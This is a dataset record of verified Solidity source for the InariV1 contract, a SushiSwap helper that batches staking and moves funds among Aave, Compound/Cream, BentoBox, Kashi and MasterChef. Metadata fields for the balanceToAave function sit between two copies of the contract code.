IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
/// @notice Liquidity unzap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf());
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
receive() external payable { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) {
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
} | /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | NatSpecSingleLine | balanceToAave | function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
| /***********
AAVE HELPERS
***********/ | NatSpecMultiLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
6848,
7008
]
} | 11,778 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | InariV1 | contract InariV1 is BoringBatchableWithDai, SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
/// @notice Initialize this Inari contract.
constructor() {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/**********
TKN HELPERS
**********/
function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.safeBalanceOfSelf());
}
/***********
CHEF HELPERS
***********/
function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
function balanceToMasterChefv2(uint256 pid, address to) external {
IERC20 lpToken = masterChefv2.lpToken(pid);
masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to);
}
/// @notice Liquidity zap into CHEF.
function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
/************
KASHI HELPERS
************/
function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = kashiPair.addAsset(to, true, balance);
}
function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) {
share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf());
}
/// @notice Liquidity zap into KASHI.
function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
/// @notice Liquidity unzap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf());
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
